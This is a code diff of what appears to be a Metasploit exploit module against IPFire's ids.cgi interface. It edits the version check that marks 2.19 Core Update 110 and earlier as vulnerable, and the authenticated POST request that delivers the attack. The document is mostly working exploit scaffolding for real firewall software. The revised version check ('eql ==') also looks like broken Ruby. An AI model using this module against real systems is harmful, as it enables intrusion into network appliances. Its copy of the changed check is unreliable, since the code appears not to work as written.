@@ -66,31 +66,35 @@ def check
66
66
'method' => 'GET' ,
67
67
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
68
68
)
69
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
70
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) if res . code != 200
71
- /\< strong\> IPFire (?<version>[\d .]{4}) \( [\w ]+\) - Core Update (?<update>[\d ]+)/ =~ res . body
72
69
73
- if version && update && version . eql? "2.19" && update . to_i <= 110
70
+ if res and res . code == 200
71
+ /\< strong\> IPFire (?<version>[\d .]{4}) \( [\w ]+\) - Core Update (?<update>[\d ]+)/ =~ res . body
72
+ end
73
+
74
+ # now that we've pulled the info we need, check version.
75
+ if version && update && version . eql == '2.19' && update . to_i <= 110
74
76
CheckCode ::Appears
75
77
else
76
78
CheckCode ::Safe
77
79
end
80
+
78
81
rescue ::Rex ::ConnectionError
79
- fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to the web service" )
82
+ CheckCode :: Safe
80
83
end
81
84
end
82
85
83
86
def exploit
84
87
begin
85
88
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
86
89
# after a chat with @bcoles in IRC.
90
+ vprint_status ( 'Sending request' )
87
91
res = send_request_cgi (
88
92
'uri' => '/cgi-bin/ids.cgi' ,
89
93
'method' => 'POST' ,
90
94
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
91
95
'headers' =>
92
96
{
93
- 'Referer' => "#{ datstore [ 'SSL' ] ? 'https' : 'http' } ://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } /cgi-bin/ids.cgi"
97
+ 'Referer' => "#{ datastore [ 'SSL' ] ? 'https' : 'http' } ://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } /cgi-bin/ids.cgi"
94
98
} ,
95
99
'vars_post' => {
96
100
'ENABLE_SNORT_GREEN' => 'on' ,
@@ -102,11 +106,9 @@ def exploit
102
106
}
103
107
)
104
108
105
- # success means we hang our session, and wont get back a response
106
- if res
107
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) if res . code != 200
108
- else
109
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" )
109
+ # success means we hang our session, and wont get back a response, so just check we get a response back
110
+ if res && res . code != 200
111
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" )
110
112
end
111
113
112
114
rescue ::Rex ::ConnectionError
0 commit comments